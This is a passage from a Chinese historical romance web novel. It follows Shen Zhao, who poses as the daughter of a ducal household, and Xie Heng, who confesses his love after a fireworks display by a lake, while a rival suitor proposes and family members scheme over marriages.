她的喉间不自觉发紧,连呼吸都变得轻缓,生怕稍有不慎,惊破这危险的静谧,坠入深不可见的未来。 谢珩耳尖微动,哪怕酒意犹在,仍听到了转过廊角的脚步声。他箭步上前,拉着沈昭躲于帘幕旁,将窗柩上两人依偎的身影抹去。 沈昭不禁咬唇,轻推开他:“可能是春宁回来了,她去厨舍帮我寻吃的。” “瑾儿。”李立雯的声音恰时在屋外响起。 两人不觉睁大双眼对望,沈昭身上的困意陡然间全消了,薄唇被她咬得毫无血色。 她突然慌了,像偷腥的猫儿要被主人发现,她抬眼看到谢珩身后的窗,慌乱催他离开。 他却反手推开身旁的檀木衣柜,闪身拉着她一并躲入黑暗,锦缎袖摆簌簌散落,搭上他的宽袖。 柜外光影明灭,门被轻轻打开又阖上,比关门声更响的是她慌乱的心跳。 衣柜狭小,他只得半弓着身子,以下颌轻抵着她的颅顶,她方才从床上起身,青丝未挽,如瀑般垂落在前,经他慌乱中一带,丝丝缕缕贴在他衣襟前。 他垂眸,黑暗中却只见她如瀑的青丝扫过他的喉结,痒意顺着血脉密密麻麻爬至心尖。 她抬头望向谢珩,鼻尖相对,仅在半指间,衣柜的一线缝隙露出的烛光落在他鼻尖,却将眼尾的薄红衬得更甚。 门外的脚步声渐渐远了。 沈昭侧耳听着:“她是不是走了?” “嗯。”他从喉间挤出一个字。 她轻轻呼出一口气,伸手去推柜门,却被他的手先一步拦住:“等等,”那夜在山洞中她唇瓣开合,所说的一言一句都刻在他脑中,不敢忘。 [尊重女子意愿,若是不愿不可勉强。] “可以么?”他嗓音低哑,甚至带一丝颤。 “嗯?”沈昭抬眸。 他忽地俯身低头,以吻封住她喉间溢出半声呢喃,唇舌间的纠缠隐忍又炽热,像蓄积已久的火,终于在这一刻烧穿了理智。 第34章 沈昭将手抵在他胸前,却被他死死禁锢在怀中,她的腰肢被他有力的臂弯环扣,动弹不得。 她的唇上忽而一烫,贝齿已被他撬开,唇舌间的酒气混着她身上的甜香,愈深愈烈。 他强横的予取予求,贪婪地搜取她的一切,如玉的面庞竟比喝醉酒还红上三分。 “小姐,我回来啦。”春宁轻手轻脚地端着托盘入内。 他却将她搂得更紧,沈昭用力掐在他的腰间,逼他放手,他微垂着长睫,泛红的眼眶氤氲着一层薄薄的水汽。 直直地望着她。 她颤着睫毛去咬他的舌尖,欲再逼他一逼,可那力道终是不忍地缓了缓,被他轻而易举地化作唇齿间痴缠的勾挑。 他的掌心像燃着融融的火,一寸寸烧遍她的全身,虎口处的旧疤贴着她细嫩的肌肤,惹得她浑身微颤,连挣扎都软了几分。 灯影自衣柜缝隙漏入,两人唇间却紧紧相贴。 “奇怪,小姐去哪了?”春宁将托盘放于桌上,提着灯出门去寻她。 待门扉被阖上,沈昭终是狠了狠心,贝齿一合,他闷哼一声,唇间溢出半声低哑的痛吟,霎时铁锈气盖过酒气,弥散在口中。 她推开衣柜门,新鲜的空气涌入,她擦着唇上他的血渍,粗喘着气,却仍不敢大喊,怕惹人注意:“谢珩,你喝多了!” 他拇指重重碾过嘴角的血,随后躬身走出衣柜:“我并未喝醉,你曾说在九州这是表达感激的一种方式,我以礼相待罢。”他垂眸的瞬间嘴角却扬起微不可察的弧度。 “你”沈昭想说的话被他噎住。 竟一时拿不准他刚才是酒后失智还是情难自已。 明明是她寻机编的理由,此刻从他口中说出,竟冠冕堂皇得令人无法辩驳。 可是,她明明刚才有千般万般种理由可以狠狠推开他,但却被吻得忘了呼吸。 是不能推开还是不会推开? 她的心跳得乱了节奏,雪肤一寸寸染上霞色,耳尖红得滴血。 “今夜亥时三刻,我会在碧水河畔等你,我,我有事要同你说。” “亥时三刻是什么时辰,我——” 话说出口,她才意识到她第一反应不是拒绝,却是怕误了约定的时辰。 “我会让人来接你。”谢珩留下最后一句话,在春宁回来之前,转身消失于夜中。 他走得匆忙,回到“秉正堂”后,忙着更衣上朝,却忽略了地上落下的那一封未交出的信。 —— 一夜宿醉,高峻被自家家丁抬回府中,已至晌午还昏昏欲睡,直到高义信将他唤醒,醒酒汤摆在桌上。 他端起放在床边:“兄长,快醒醒,要是让父亲知道,少不了责罚你。” “哎呀,你不行我来,我替你说。”高峻仍在梦中,嘴里喃喃不停。 他轻拍他的脸侧:“快醒醒,一会父亲便回府了。” 高峻蹙着眉,将他的手拨开:“谁啊,烦着呢。” 高义信不得不将他直接拉起,掐着他的人中将他痛醒,高峻猛地睁开眼,龇牙咧嘴叫着,认清是自家弟弟,转身要睡。 似是想到昨夜谢珩的话,他猛地从床上坐起,抱着高义信的双臂:“好消息!义信好消息,九如他春心萌动,想必婚事不远了,你也可以有所行动了,待他的亲事定下来,谢怀瑾的更是好说,你可得好好把握,莫错失良机,昨夜同他们饮酒时,那话语间,好几户人家都对谢家二小姐有意。” 高义信仍一头雾水:“兄长,你先把醒酒汤服下,我同怀瑾的事,自有父亲母亲作主。” 他催着高义信去换衣:“你这呆子,好事岂是等能等来的,若是谢家给她择了更好的夫婿,人家下了更多的聘礼,你哭都来不及,最起码先将你的心意告诉人家姑娘。” “好好好,一切听兄长安排。”高义信随口应道。 瞧着他不慌不忙的背影,高峻恨不得一脚将他这个笨弟弟踢去谢府,这一个两个,都是呆子! 一个只会喝闷酒,一个是闷葫芦,怎么不得他半点真传呢。 虽然平日高峻没个正形,但他的话仍有几分道理。 高义信一向好学,自然听进心里去了,且婚嫁一事并非依年龄而定,没有长兄不娶,其妹不嫁的道理。 沈昭虽然赠他绢帕,但这几次相处他却觉,她对自己并无半分情意,许是姑娘家面子薄?他拿不准她的心思。 但依高峻所言,总得试上一试,让她知晓他的心意。 —— 李立雯今晨听到厨舍的动静,听守门的侍卫报,谢珩醉酒回府,她在府中寻了他一圈,却并未见到他。 “夫人,少爷刚更衣,准备进宫上朝呢。”王管家得了消息来报。 李立雯压着心中的火,直接去了“秉正堂”,并未见到谢珩,却在檐角的草丛里捡到一封信,信未被拆开,封存完好:“少爷呢?” 杨方觉察到夫人的不快:“少爷他进宫了。” “昨夜发生何事,为何少爷醉酒回府。” 面对李立雯的质问,杨方出了一身汗:“少爷他、他昨夜应该是同高家公子一起,昨日诗会,高家公子败兴而归,许是少爷劝了几句,多饮了几杯吧。”他依着谢珩昨夜去向,挑拣着说了些,燕春院的事一句未提。 “这封信是珩儿的?”李立雯看着手中信。 今晨他曾在房里见过谢珩将这封信收起,谁知竟落在夫人手中,他伸手去接:“是少爷的,怕是不小心落下了。” 她很少过问谢珩的事,但她这几日总坐卧不宁,心中仿佛坠着一颗大石,迟迟无法落下。 他甚少饮酒,更莫提贪杯喝醉。 怕他又将所有苦楚自己咽下,怕他遇到难事不愿同家里人提及,可又有谁会令他为难呢? 李立雯将信抽走,犹豫再三,终是将信撕开。 杨方站在一旁大气不敢喘,垂首盯着鞋尖,未久他的视线中出现李立雯的一瞥衣角。 “少爷这几日同谁接触过密,可有哪户女子?”信上虽是寥寥几句,但蕴含其中的爱慕之意,令她既喜又忧。 “少,少爷最近几日多同高家公子外出,除了小姐之外,长乐公主有时会同行。”杨方不敢不言,他连抬头回禀的勇气都没,只求少爷早早下朝,自行解释。 李立雯虽个子不比杨方,但自小的教养和骨子里的矜贵出尘,她缓缓开口,带着不容拒绝的压迫:“杨方,抬头回话,你可有意隐瞒?” “属下绝无半句隐瞒,少爷除了在衙内当值,所结交之人不过尔尔,夫人一问便知。”杨方半跪于地,神色凛然。 “起来吧,”李立雯不欲追究,珩儿议亲是大事,若他有中意之人,倒省了不少功夫,她将信收起,“待少爷回府后,让他来见我。” 杨方应下。 “不行,”李立雯改了主意,“你现在就去宫外候着,少爷出宫后,让他速速回府。” “是。” “阿嚏——”自谢珩走后,沈昭坐于桌前已半个时辰,连桌上的饭菜也未动一筷。 春宁还从未见她如此心神不宁,她取来一件薄衫,搭在她肩上:“小姐可是身子不适?” 沈昭眼神不聚焦地虚望远方,谢珩对她? 任由她再怎么自我欺骗,仍掩盖不了唇上的酒气和齿间残留的血腥气。 那他今夜有事相邀,莫不是要和盘托出。 不可,真正的谢怀瑾尚行踪未明,虽然他俩不是亲兄妹,可若真将最后一层窗户纸捅破,日后在府中相见,还岂能自在。 她细细回忆这些时日他的一举一动,懊恼地拍着前额,她往日都扯了些什么乱七八糟的话。 他竟还真信了三分! “小姐,你没事吧。”春宁唤来夏安,两人在旁守着她,见她捶胸顿足的模样,不知她吹了什么邪风,明明被饿起来了,却滴水未进。 “什么时辰了?”沈昭突然站起,“算了,快帮我更衣。”经谢珩这么一闹,她差点忘了去看老夫人。 主仆三人急匆匆赶往老夫人居所,李立雯恰逢此时也在。 老夫人心疼自家孩子都来不及,只要她在府中呆着心里就欢喜,岂会责怪沈昭早了或者晚了。 李立雯眉心仍皱的紧,书信一事既然珩儿还未明言,她暂且压下,见得沈昭入内:“瑾儿,今晨天未亮时,你不在房内,去哪里了?” 虽她语气清浅,不怒不威,但沈昭仍无意紧了紧喉咙,不敢抬头:“母亲,我半夜起来肚子有些饿,去厨舍寻吃的了。” “你今朝可见到珩儿了,他最近可同哪些人走得近?” 见了,其实你也见到了。 沈昭在心中腹诽,但说出口的话却恭恭敬敬:“他一向与高家兄弟走得近。” 李立雯无奈摇头,罢了,他诸事都憋在心中,少有几个相识,还是自幼长大的玩伴,又岂会同刚回府的瑾儿说这些呢。 一切待见了珩儿,自会知晓,他定不会欺瞒于她。 沈昭拜别母亲和祖母,在房内坐卧不宁,平日一向用膳最积极如她,今日却由夏安提醒才堪堪起身,她都看出小姐今日神思不齐。 自她穿越而来的事,如走马灯般在眼前细细铺开。 从最初谢珩与她不愿共处一室,到那两次或无意或出于救人的肌肤相亲,他有意无意地一步步走向她,若说他今晨醉酒,但诗会前的练字,他无意识间自然地执她的手落笔。 这一桩桩,一件件事浮于眼前。 谢珩真的对她 敲门声打断了她的思绪,春宁站在门外:“小姐,有人在外,说请您出府,有事相邀。” “几时了?”明明天还亮着,她竟下意识以为是谢珩所派之人。 她起身出府,遥遥望见高义信独自一人徘徊在门前。 第35章 谢珩下朝后,刚出宫门便遇到了等候多时的杨方,杨方一脸愁容:“少爷,夫人让我请您速回府,她有事寻你。” “何事?”谢珩脚步不停。 杨方支支吾吾半晌:“她好像看到您写的信了,”他霎时改了口,“不是,是夫人当着我的面把信拆开了,看到您写的内容,她在府里又没寻到您。” 谢珩并不想遮掩:“好,我知晓了,还有几件事交代你去做,务必在今晚亥时之前准备妥当。” 他递给杨方一页纸,杨方打眼看过,眼睛亮了起来,一副看好戏的模样:“公子,您这是为哪家小姐准备的?还需要我提前去府上请人吗?我保证守口如瓶,绝不多言。” 他打起十二分精神,默然听着谢珩开口,他要比夫人还先知晓公子在意的姑娘是谁。 “届时你去把小姐请出府。”谢珩徒留杨方傻愣在原地。? 小姐?哪家小姐,谢家小姐! 可是她不是御风的未婚妻么。 他拿着纸的手一抖,瞪圆了眼,四下张望生怕旁人听到他们之间的秘辛,像只受惊的鹌鹑,带着满脸的不可置信,捂着嘴,他绝不会出卖少爷,一定会誓死捍卫这个秘密。 谢珩前脚刚回府,王管家便将他请进前厅:“少爷,夫人等你多时了。” “嗯。”来不及换衣,谢珩直接随他前去。 李立雯端坐于椅子上,手中长安城姑娘们的画册翻了四五遍,终是没想明白珩儿到底相中了哪家姑娘。 抬眼见他而来,她遣散了身边的婢女和家丁:“珩儿,坐。”接着从怀中取出那封信,置于他面前,开门见山,“既然有了心仪之人,便早早定下吧。” 谢珩直言:“我确有一心仪之人,但尚不知她对我作何看法,所以我需先得到她的首肯。” 李立雯不可思议地望向他,因着自小的教养压下心中的怒气,但说出口的话音仍高了几分:“婚嫁大事需由双方父母合定,你同她能商议出什么,”她肃整衣裙,“何况,哪家姑娘竟是我们国公府都高攀不上了?” 谢珩:“待一切尘埃落定,我自会对母亲和祖母有个交代,只是并非今日,我还有要事,暂不能陪母亲多言。”他说罢行礼而退。 “珩儿!”李立雯起身,他却并未停下脚步。 她像泄了气一般,用手抵着太阳穴,闭眼深吸一口气,另一手撑着桌案才稳住身形,终是儿大不中留。 但他竟竟然要询那女子的意见! 实在是荒唐至极,她十六岁嫁于晋国公,从来只知“父母之命媒妁之言”,何曾见过哪家儿郎亲自去问姑娘心意的?这哪是求娶,简直是胡闹! 但珩儿提及口中心仪之人时,那眉眼间的光亮却恍然让她记起那捧着夜明珠说着:“雯儿的眼眸远胜这莹莹之光,照我幽怀。”的人,喉间蓦得发涩,若有人当年问过她的意见。 她掐灭脑中一闪而过的念头,宗族颜面自然远胜于儿女私情。 —— “谢姑娘,多日未见,可还安好?”高义信先行一礼。 “有劳高公子挂念,一切都好。”沈昭寒暄道,突然记起院中她留着的茶树枝条,“高公子,烦请你等我片刻,我有事请教。” 他还未开口,便见那一抹倩影风风火火地跑回府中,衣袂翩翩,比檐上的雀儿还灵巧,他不由得紧握住手中玉佩,唇角弯起明媚的弧度。 午后他才被高峻催着上心,之后又独坐在房内做了一番心理挣扎,同母亲讨要了家传玉佩用过饭后,及至晋国公府已近戌时。 沈昭仔细妥当地包好茶树枝,瞧见府前大门上挂起的灯笼,心中闪过一丝担忧,她问道:“高公子,如今几时了?” 高义信大概推断:“应该已是戌时三刻。” 那距离谢珩同她约定的时间还有两个小时,本应该来得及,可高义信要前去的食肆离碧水湖相去甚远,只怕来不及,她便提议:“要不我们去碧水湖边走走吧。” “也好,全依怀瑾所言。” 两人步行至碧水湖边,高义信的手一直摩挲着玉佩,恨不得要将那上面的纹路磨平,却迟迟不开口。 沈昭:“高公子今日找我,所为何事?” 高义信抿唇不语,指尖都要掐进肉中。 见他有难言之隐*,沈昭不想为难他,从身后抽出茶树枝:“那既如此,我先说吧,高公子可见过此物?” 像落水的人抓住一根浮木,他的手接过枝条,细细打量后:“我倒是在书中见过此物,不知怀瑾从何所得,这茶树在长安城附近好像并不多见,但若以其叶浸于水中,据闻可解毒,若是能得适合的土壤和环境,将其扦插繁殖,也许有成活的可能。” 沈昭眼眸闪着光,可见他对茶树了解颇多,甚至对茶树培植都有所涉猎:“太好了!高公子,我确是有意向在长安城附近栽植茶树,这茶树枝是从南方香客送去灵山寺的,茶饮日后定会在长安城中兴盛,这可是一桩好买卖,若是能借公子之力,日后若有所得,我们平分如何,或者你六我四?” 高义信轻笑出声:“怀瑾言重了,我只是平时摆弄些花草,这茶树能否成活还需细细研究和尝试,你高看我了,我只能尽力尝试,这茶树枝由你所得,若是侥幸成了,功劳亦不在我,日后所得怀瑾自留便可,我岂能抢占。” “是,全由高公子尝试,不必有任何压力,只当消遣便是,”她念着不能急于一时,高义信虽不图名利,但能否成功,如何分钱都是日后的话了,这仅作第一步。 高义信将茶树枝妥善收好,还连连夸赞她,若非她保存妥当,他也没有太大把握。 沈昭的事了,她一时无言,又不想催促高义信,无声望着湖面等他开口。 湖面上映着远处的烛火,波光粼粼。 两人并肩而立,沈昭指尖无意识地摩挲袖口的绣纹,软纱与肌肤相触的细微声响,在两人之间的静默中被无限放大,倒更添几分尴尬,她向左右望了望,仍没见谢珩的身影,既然高义信不好开口,不如改日:“高公子,我一会还有事。” “怀瑾。” 高义信忽然开口,攥紧手中的玉佩,声音却轻得怕惊扰了湖面的层层涟漪。 —— “昨儿瑾儿夜深被饿醒,我今日特意吩咐厨房多做了些,可惜她有事出府了,还好你轮值休息,便好好在家吃个饭,多陪你祖母说说话。”李立雯给谢珩添了一碗汤,放于他面前。 “好。” 谢珩却用得很急,几口便将冒着热气的羹汤饮尽。 “你这孩子,又没人同你抢。”李立雯在一旁劝道。 谢珩的心思却全然不在此,因着杨方多舌,转头便将他今日休息的事告诉了夫人,他回府取东西时,被正巧拦下,哪怕李立雯已经用过晚膳,亦忙着张罗上菜。 可眼下时辰已近亥时。 桌上摆满了珍馐,但他却食之无味,喉结一滚,掩于袖中的掌心已渗出了薄汗。 街上更夫梆子恰巧在此时敲响,惊得他指尖颤动,他手中握着的瓷勺垂落于碗中,碰撞叮当脆响:“母亲,我还有要事,先行一步,您慢慢吃。”说罢站起,深色袍角轻拂过桌案,刚放下的瓷勺仍在碗中打转,他直接飞身出府了。 李立雯望向他在檐上的身影:“珩儿!” 更夫梆子声响后,杨方拿出准备好的香,将其点燃,依谢珩交代,待此香燃尽时即可行动,他搓热掌心跃跃欲试,这可是关于少爷的大事,他绝不能有任何疏忽。 黑暗中,那一星光亮静静燃着。 沈昭同高义信还在湖对岸站着。 沈昭听到打更的声音:“几时了?” “亥时。” "高公子,若是你有事不便直言,不若改日?"沈昭话语间不由得急了些。 高峻的话音犹在耳,他从腰间取下被他掂量了一路的玉佩,上面还挂着他手心的汗:“这是我高家传家的玉佩,我” 杨方眯起眸子看清湖对岸站了一男一女两人,随着那最后一星光亮陷于黑暗中,他抬头指挥:“放。” “嗖——”的一声锐响,漆黑的夜空骤然被几道金痕划破。 她尚未来得及抬头,整片湖面已“哗”地亮起,千万点火星在穹顶炸开,化作漫天斑斓的花雨倾泻而下。 星月在这一瞬黯然失色,漫天燃烧着缤纷绚烂的花儿。 一朵银莲花浮在空中,开到最盛时,忽然噼里啪啦散作漫天星辰,纷纷跌入水里,惹得水中鱼儿惊跃,溅起一串晶亮的水珠。 她仰头去看,最大的一簇烟花在夜幕中轰然绽放,绯红与靛蓝交织成曼陀罗纹,倒影在她亮晶晶的眼眸中,漫天星辰不及她眼中璀璨。 高义信亦被这眼前的景象惊愣在原地,若非节日庆典,他还从未见过如此盛大的烟火。 他鼓足勇气,递出玉佩:“怀瑾,自我初见你时,便一见倾心,这是我高家家传玉佩,若你收下,我会改日让我父亲登门下聘,若你”他一时语滞,并未想过她会拒绝。 他们身后,谢珩从天而落,脚尖触地的瞬间,高义信话音刚落。 他的漆眸中登时染了一层霜,漫天烟火亦无法将其渲染,他盯着前方的两人,不由得攥紧拳头。 第36章 高义信的侧脸被空中的烟花映至昳红,眼眸中的真挚依旧,双手紧握着玉佩,尽量保持不抖。 听闻他的话,沈昭轻转身子,看向高义信。 在她开口前,谢珩并没有多作停留,拂袖转身而去。 他不想听,亦不敢听。 这是属于他们两人之间的事,虽然借了他布置的局,但他不想听到她的回答。 论样貌学识,高义信在长安城并不差,甚至可算得上翘楚,他不像他兄长一样肆意不羁,又不似他一般拘谨克制。 罢了,他本就和她没有任何关系,更无权干涉她的选择。 亥时三刻,他来迟了一步,她的身旁好像便没有他的位置了。 —— “你我既结为夫妻,你还有何事瞒我!”夏目冲着惊云说道。 这几日惊云寸步不离陪在她身边,说起衙内的事,他只道自己请了个长假,回家娶亲,但她心中总是不安。 惊云扶她坐下,安抚道:“娘子,你只是最近太累了,加上刚有身孕,难免心绪不佳,一会我再带你去医馆开几副调理身子的药,是我之前做的不对,没有时间陪你,但如今我多陪着你和孩子,还是我的错了?你别疑心太重了。” 夏目没有受他蛊惑:“那我们今日便回长安。” 惊云好声好气道:“我还不是怕你刚怀有身孕,胎像不稳,怕日夜奔波累着你和孩子,”他的耐心不多,劝说着话语间渐渐带了怒气,“你怎的这般不信任我。” 夏目拉着他的手坐下,声音软了下去:“是我不对,最近夜里总是睡不着,可能还不太习惯吧。” 两人重归于好,惊云唇角带过一丝得逞的笑,只要能保住这个孩子,待脉象安稳无忧,月份再大些,不能流掉时,便可踏上回长安的路了。 长安城最金碧辉煌的宫殿——严清宫内。 景明帝怀中揽着如贵妃,长乐公主李玥的生母,亦是宫内最得宠的妃子:“怀如,最近怎的不见玥儿了,我特意吩咐小厨房做了她喜欢吃的糖糕。” 如贵妃弯着的眉眼染上一缕忧愁:“自是有了女儿家的心事,前些日子还特意冒雨跑去灵山寺求签,往日她最是厌恶这些,邀她陪我去清修几日调养生息都不肯,有了意中人,可全抛诸脑后了。” 李玥身旁一直有婢女侍卫看护,她何时出宫见了哪些事,自会一一禀告给她。 这长安城内哪家公子都好,可李玥偏偏看中了最是风流的高峻。 如贵妃这几日忧思伤神,她膝下仅李玥这一个孩子,高相虽现下位高权重,但朝中实力错综复杂,若高家败了或者哪一天得罪了圣上,李玥哪怕有公主的身份作为倚仗,但终究前路不明。 李玥自小就没吃过苦,千娇百宠,性子亦不是爱出头争胜的,万事都没个主意,偏偏却看上了高峻,像一头憋着劲儿要撞南墙的小牛犊,拉都拉不回来。 她知她这几日出宫频繁,是为着高峻,特意让夫子多留了些课业,将她留在宫内,少去见那人。 哪有永远不败的花呢,她亦是凭着圣上的恩宠至此,她只想为李玥谋个清白稳妥,无忧无烦的婚事,怎的如此难。 景明帝知他的心事,亦对高峻有几分了解,他安抚道:“高家家世煊赫,高相又是朝中老臣,若玥儿入府,自然不会亏待她。”嘴上虽然如实说,但以高峻的性子,能否全意待李玥,哪怕他九五之尊,亦不能轻易断言。 纵然他下旨赐婚,高家不敢拒绝,但威逼之下的谋和又有几分真情,他开口:“高峻虽然为人稳重不足,但他那个弟弟性子倒不错,若是让玥儿多同他弟弟接触一下呢,孩子嘛,总得多看看,岂能被一张巧嘴迷了眼, 玥儿久居于宫中,少见外男,多派几个人随她走走也好,她如今觉得高峻好,或许过几日又转了性,也未可知,亦或者朕让礼部挑个日子,让他们进宫,给玥儿相看一下。” 如贵妃得了景明帝的话,起身盈盈一拜:“还是皇上待臣妾好,谢陛下开恩。” 通传太监刚抬起的手还未贴上门扉,景明帝和如贵妃的话便传到殿外,面上一哂,犹豫着要不要开口:“殿下,这” 李玥彼时站在殿外请见,还未得通传,却先将他们的话听入耳中。 她的心思不愿刻意瞒着父皇母后,但她亦没想到,她和高峻之间最大的阻碍竟是疼爱她的至亲。 “不劳烦公公了,今日就当没见过我吧。”李玥失望转身,朝自己寝殿走去,步伐愈来愈快,她不想,也不愿去相看。 她认定一人,便就是他。 在宫里,她见过太多明媚娇艳的花失去色彩。 初入宫的才人眼眸莹亮地望向她的父皇,她的父皇赏之以金银玉帛,可是不出几月那女子眼中的光便暗了,如此反复,哪怕她的母妃盛宠优渥,她甚至在母妃眼中亦见不到那样的神采。 她不想,若不能嫁给她在意之人,活着还有什么意思,不过三餐四季,寥寥此生。 她的拳头不由得捏紧,心里萌生的种子破土而出,她不想自己一切都暴露于他们眼中,她既没犯错,父皇母后不能拘着她。 —— 今日谢珩提前在衙里安排妥当,不会巡值,但当他在碧水湖边独自转悠时,仍被眼尖的金吾卫认出:“那不是将军么?” “快快,整肃仪容,把你的刀佩好。” 他们整齐地走上前,立在原地抱拳一礼:“将军!” 谢珩垂眼,与他们擦肩而过,完全未将他们放在眼中。 队末的人扭头去看,低声说:“上次我哥听闻隔壁他爱慕的姑娘要嫁人时,就是这般模样。” 为首的一巴掌落在他头上:“胡说什么呢,将军一心公务,哪有功夫囿于儿女情长,少胡作揣测。” 烟花渐灭,幽深的夜又复归于寂然。 谢珩才抬眸看到一旁窃窃私语的金吾卫,踱步上前:“我从前方而来,这儿并无异常,去那边看看吧。” 众人蹙眉紧随其后,嘴里小声嘟囔:都怪你将军今夜不是不来了少说两句 一行人走在寂寥无人的街市中,只有身上的铁甲轻碰发出铿锵有力的声音,谢珩漫无目的地走着,脑海中却始终划过高义信的话,她会如何回他? 直到有力的手臂将他拦下:“将军,再走便到了万寿坊了。”他身后的金吾卫以此为界巡值,不能再往前走了。 众人纳罕,心中有疑,但不敢多言,似是往日他那坚挺的脊背亦不觉弯了半寸。 谢珩敛下眼眸:“那便往回巡。” 兜兜转转一圈,又绕回了碧水湖,湖面的水汽将空气濡湿,谢珩放缓脚步。 水中晃动的弯月,经风拂过,便虚了月影,如梦似幻。 刚才站于此的两人早没了踪迹。 谢珩遣了其他金吾卫:“你们去那旁吧,不必管我。” 他寻了一方青石,屈膝坐于其上,湖边的芦苇丛中还弥散着烟火燃尽的硝烟味,零星几点烫得芦苇弯下了腰。 身后细碎的脚步走近,他强忍住心中的不耐:“不是刚说了,去别处巡。” “好呀,兄长,你既然满脑子都是巡值,何必邀我至此,我等了你这么久你才来!”沈昭气急,绣鞋灵巧地一抬,踢起脚边的一颗小石,直愣愣砸向他的后脊。 虽不至于拿他撒气,但她心中仍畅快不少。 哼,该,让她等了这么久! 难怪加冠之后还至今未娶,有谁会喜欢一个爱失约的闷葫芦。 再听到她熟悉的声音,他浑身血液仿佛都凝在原地,忘了流动。 月下,沈昭一袭荷粉色衣裙,正置气地双臂交叠抱于身前,努着嘴秀眉紧皱。 “你不是已经随高义信走了?”谢珩起身,克制着脚步,不敢轻易向她走近。 沈昭:“我自是言而有信,既约定了亥时三刻相见,岂会轻易离开,我可不像某人,心心念念全是值守,罢了,你要是无事,我就走了,你继续巡值吧。” 沈昭心中的期待莫名落空,她纠结了一天的事不过是她的推测罢了。 “高义信回去了?”谢珩突然出声,但说出口的话却言不由衷。 长安城治安颇严,他又不是三岁孩童,岂会走失,何况他回不回府与他何干。 沈昭恍然,原来他并非失约,是看见她同高义信在一处,便不再去打扰,此举倒像他所为,她心中的气消了几分:“他走了有一会了。” 记起刚刚漫天的烟火,哪怕她在穿越前也很少见到,她心中感慨:“可惜,你刚刚走了,错过了一场烟花,特别美,我觉得足足放了有十多分钟呢,不知是哪户人家如此大的手笔。” 谢珩默然几息后:“在长安,烟火统一由礼部管辖,另在各处设专门的燃放点,寻常百姓不得私自燃放。” 那是宫里的宴会?可宫中活动,谢珩该会参与吧。 她不懂其中的礼制安排,更不懂他的言外之意。 谢珩望着平静无波的湖面:“若是朝廷官员因私使用,逐级上报至少需十日,但直接奏请圣上,便可略过其中的曲折。”往日景明帝赏赐他时,他不求金银绢帛、不图名利,今日主动提及有事相求,圣上自然愿意了他一愿。 沈昭有一搭没一搭地听着,心思却全然不在如何奏请上级之上。 但经他如此一番解释,倒明了这人定花费了一些功夫,倒让她白捡了个便宜。 她不动声色地觑了他一眼,自遇到他之后,她的运气真的一改往昔:“那我可真是太幸运了,如此盛景被我巧遇。” 湖面上的硝尘散尽,浮着一层薄雾,将残尽的硫磺气味裹得若有似无。 青黑幽深的湖中,映着一弯月,苍穹低敛沉寂,仿佛刚才那场金辉交错的喧嚣从未发生。 湖边草丛中还散着几片爆竹的残片,被露水打湿。 谢珩蹲下身子捡起,双指轻碾,喉间哽着的半句话,被方才的喧闹炸得粉碎。 残片将他玉白的指尖染红,他忽地用力,恨不得将其揉碎在指尖,抬眸的瞬间他掷出手里那片碎红,提步向她走近:“沈昭,那不是巧合。” “嗯?”沈昭撞上他的目光,他的深眸比幽潭更黑,像两泓静水,却燃着最后一星未烬的火。 “是我,亥时三刻以更鼓为信,河对面的烟火是我命杨方放的,昨夜我虽喝了些酒,但去寻你时,早已清醒,我虽不详知九州的习俗,但我所作和今夜所言,皆是我本心,你我并非兄妹,何况你不是御风的未婚妻,”他顿了顿,眸色更深,“哪怕你是他既身死,又已入土为安,你亦不是非他不可。” 湖上的雾气仿佛笼在他眸间,他喉结滚动数次,终于一字一句道:“我不知这可否算你所指的表白,你可愿意?” 他眼眸中此刻灼灼燃着的光铺天盖地落在她身上,比空中的烟花更甚,烫得她耳尖发麻。 那些她未闻未见的一切,都是他内心克制不住的悸动。 湖面掠过一阵风,将他未束好的一丝乌发吹到她脸颊,痒丝丝的,像他小心翼翼的靠近和试探。 他忽地握住她的手腕,力道很轻,像捧着一汪随时会散的水,从怀中取出他准备好的印信放在她手上:“我为官这些年攒下的俸钱都存于钱庄,这是我的私印,凭此可随意取用, 若你觉得麻烦,这是契书,只需你在此签字,钱庄的钱便可尽数划于你名下,这是府中库房对牌,凭它可开府库,圣上御赐的绢帛金银都在其中,只要拿着对牌,府内的东西任取。” “若你不喜长安的礼节和规制,我会试着去了解和适应九州的一切,依着你当地的习俗。” 谢珩屏着呼吸凝望着她,握着她的手微微颤动。 他大概是疯了,哪怕知她最初只是因着银钱才同他签下契书,走进国公府,闯入他的人生。 哪怕他自幼诵读的诗书便是克己复礼、男女有别,但一想到她和高义信相处的点滴,他仿佛被利剑穿身,逼得他无法喘息。 他不想可悲地在一旁假装淡然。 今日这礼不能越他也越了,话反复滚过喉咙,刻在心间,他只等她一句答复。 沉甸甸的重量压在她手,比这更重的是他满心满怀的真挚。 她不知她曾经随口而言的话被他听进去了几分,但他笃定的眼神却让她清晰地听到了自己的心跳。 何来这么多的“不期而遇”,不过是有人算尽时辰、踏破月影,偏要候在那转角处。 世间风月,从来都是有心人的步步为营。 沈昭轻握住手中他交与的印信,踮起脚尖,另一手忽地将他的袖袍扯到身前,在他唇上落下一吻,一触即离:“这就是我的答案。” 第37章 谢珩眸色蓦得转深,一把扣住她的皓腕,将人带入怀中,青丝交缠间,他俯身低头,本能地扣住她的腰肢,掌心下的软纱轻薄微凉,但掩于其下肌肤的温热却蔓延至他的手中。 与她的浅啄不同,他稳稳地封住了她的唇,这回吻又深又重,辗转撕磨,她的长睫轻颤,似扫在他的心间,丝丝麻麻若触电般。 他便更予取予求,大胆地启开她的樱唇,放肆地含住她的下唇轻吮,听得她喉间冒出的那声轻哼,身下的火登时又燃了几分,他霸道又柔软地撬开她的贝齿,舌尖细细扫过她的每一寸柔软。 另一只牵着她的手情不自禁地抚上她的后颈,指尖陷入她如瀑的鬓发间,不容抗拒地将她按向自己怀中。 她被他吻得身子发软,贴着他宽阔的胸膛,他身上的炽热灼得软纱都带了温度,攥着他前襟的手指骤然收紧,锦缎被她揉成一团乱纹。 唇脂上甜香扑鼻,在舌尖含着淡淡的甜,比昨夜的烈酒更醉人。 沈昭被他吻得喘不过气,口中轻声呜咽着试图推开他,反激得他将她抱得更紧。 直到她眼尾泛红,轻咬他的唇瓣,他才微睁开眼,见她眸含秋水地凝着他,像被雨水打湿的小鹿祈求猎人的留情,他才不舍退开,却留恋地在她眼角留下一吻,手却拥得她更紧。 她脚下发虚,被他拥着坐于一旁的大石上,青石沁凉,却凉不透他们身上的热。 沈昭靠在他胸前,听着他声如擂鼓的心跳,呼吸随着渐渐轻缓。 她假扮作他妹妹入府,起初只求在这陌生的长安安身立命,挣些钱财,图个自保。 